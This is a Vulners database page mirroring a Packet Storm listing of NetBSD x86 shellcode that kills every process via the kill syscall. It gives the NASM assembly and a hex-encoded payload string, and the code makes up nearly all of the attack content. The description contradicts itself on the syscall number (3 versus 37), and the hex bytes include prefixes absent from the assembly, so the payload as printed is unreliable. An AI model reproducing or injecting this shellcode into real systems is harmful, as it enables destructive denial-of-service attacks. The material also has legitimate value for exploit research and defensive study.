Lucene search
K

NetBSD x86 Kill All Processes Shellcode

🗓️ 19 Jun 2009 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

NetBSD x86 Kill All Processes Shellcode using syscall number 3

Code
`/*  
  
netbsd/x86 kill all processes shellcode  
author REMOVED AT REQUEST OF AUTHOR  
contact REMOVED AT REQUEST OF AUTHOR  
this shellcode is using syscall number 37 or 0x25  
37 STD { int sys_kill(int pid, int signum); }  
  
  
here is assembler code using intel syntaxe and NASM  
--------------begin-----------  
  
section .note.netbsd.ident  
dd 0x07,0x04,0x01  
db "NetBSD",0x00,0x00  
dd 200000000  
  
  
section .data  
  
section .text  
global _start  
  
_start:  
xor eax, eax  
push 0x09  
mov eax, -1  
push eax  
xor eax,eax  
mov al, 37   
push eax  
int 0x80  
-------------------------end------------  
  
if we dissasemble this code wi will get shellcode  
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"  
*/  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2009 00:00Current
0.4Low risk
Vulners AI Score0.4
32